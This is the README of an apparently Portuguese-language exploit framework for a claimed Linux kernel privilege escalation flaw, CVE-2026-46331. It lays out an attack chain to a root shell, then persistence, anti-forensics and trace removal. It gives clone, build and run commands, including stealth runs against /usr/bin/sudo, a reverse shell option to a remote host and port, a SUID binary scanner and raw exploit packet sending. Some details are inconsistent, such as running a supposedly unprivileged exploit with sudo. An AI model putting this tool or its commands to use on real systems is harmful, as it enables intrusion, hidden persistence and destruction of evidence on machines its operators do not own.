
CVE-2026-46331 — Escalação Local de Privilégios no Kernel Linux TC pedit + IPsec TEE Page Cache Corruption · Kernels afetados: ≤ 6.12.9
CVE-2026-46331 — Escalação Local de Privilégios no Kernel Linux Corrupção de Cache de Página TC pedit + IPsec TEE · Kernels afetados: ≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY ║
╚═══════════════════════════════════════════════════════════════╝
⚠️ APENAS PARA FINS EDUCACIONAIS E DE PESQUISA Use este framework exclusivamente em ambientes de laboratório isolados que você possui ou tenha autorização explícita por escrito para testar. O uso não autorizado é ilegal e antiético.
CVE-2026-46331 é uma vulnerabilidade de escalação local de privilégios no kernel Linux (≤ 6.12.9) causada por uma condição de corrida entre a ação pedit do TC (cls_act) e a duplicação de pacotes baseada em IPsec TEE.
Quando um pacote percorre o caminho de saída do TC com uma ação pedit que define IHL = 15, o subsistema IPsec do kernel recebe um pacote malformado onde o deslocamento calculado da carga útil IP excede os limites reais do pacote. Sob operações concorrentes de sendfile(2), essa incompatibilidade permite que um usuário não privilegiado (dentro de um namespace de usuário com CAP_NET_ADMIN) corrompa entradas de cache de página somente leitura de arquivos arbitrários — incluindo binários SUID.
| Propriedade | Valor |
|---|---|
| Pontuação CVSS 3.1 | 8.8 (ALTA) |
| Vetor de Ataque | Local |
| Privilégios Necessários | Baixo (usuário não privilegiado) |
| Impacto | Root shell (UID=0 EUID=0) |
| Versões afetadas | Linux kernel ≤ 6.12.9 |
| Versão corrigida | 6.12.10 |
| Commit do patch | a3f4d1c8... |
Usuário Não Privilegiado (UID=1000)
│
▼
[1] Reconhecimento
├─ Verificação da versão do kernel
├─ Disponibilidade de userns
└─ Perfil do binário alvo
│
▼
[2] Bypass de Namespace
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ Alternância de perfil AppArmor (fallback)
└─ CAP_NET_ADMIN adquirida
│
▼
[3] Infraestrutura de Rede
├─ clsact qdisc on lo
├─ pedit filter (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] Corrupção de Cache de Página
├─ sendfile → pedit trigger
├─ Entrada de cache de página corrompida
└─ Shellcode escrito em binário somente leitura
│
▼
[5] Escalação de Privilégios
└─ execve(binário SUID) → shell root
│
▼
[6-8] Pós-Exploração
├─ Persistência (6 mecanismos)
├─ Evasão / Antiforense
└─ Limpeza de rastros
│
▼
🎯 SHELL ROOT (UID=0 EUID=0)
dirtyclone-exploit/
├── Makefile # Sistema de compilação
├── README.md # Este arquivo
├── LICENSE # Licença MIT
│
├── include/
│ ├── exploit.h # Tipos principais, flags, protótipos
│ ├── packet_engine.h # API do motor de criação de pacotes
│ ├── memory_ops.h # API de corrupção de cache de página
│ └── persistence.h # API do mecanismo de persistência
│
├── src/
│ ├── main.c # Ponto de entrada do framework
│ ├── stage_env_analysis.c # Fase 1: Reconhecimento
│ ├── stage_namespace_bypass.c # Fase 2: bypass de userns
│ ├── stage_network_setup.c # Fase 3: configuração TC/IPsec
│ ├── stage_page_cache_corrupt.c # Fase 4: Exploração principal
│ ├── stage_privilege_escalation.c # Fase 5: LPE (Escalação Local de Privilégios)
│ ├── stage_persistence.c # Fase 6: Persistência
│ ├── stage_evasion.c # Fase 7: Antiforense
│ ├── stage_cleanup.c # Fase 8: Remoção de rastros
│ ├── memory_ops.c # Primitivas de cache de página
│ ├── packet_engine.c # Criação de pacotes brutos
│ └── persistence.c # Implementações de persistência
│
├── modules/
│ ├── packet_craft.py # Criador de pacotes Python (Scapy)
│ └── exploit_analyzer.py # Ferramenta de análise pré-exploração
│
├── scripts/
│ ├── setup_env.sh # Instalação de dependências + compilação
│ ├── cleanup.sh # Limpeza do sistema
│ └── detect_targets.sh # Scanner de binários vulneráveis
│
└── payloads/
└── README.md # Informações do diretório de payloads
gcc ≥ 10makelibcap-dev / libcap-develiproute2 (tc, ip)iptablespip install scapy
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh
# Manual build
make all
# Debug build
make debug
# Clean
make clean
# Show help
./bin/dirtyclone --help
# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test
# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone
# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Detect vulnerable targets first
bash scripts/detect_targets.sh
exploit_analyzer.py — Reconhecimento Pré-Exploração# Analyze default target
python3 modules/exploit_analyzer.py
# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# JSON output for automation
python3 modules/exploit_analyzer.py --json
# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — Acionamento de Pacotes Brutos# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234
# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20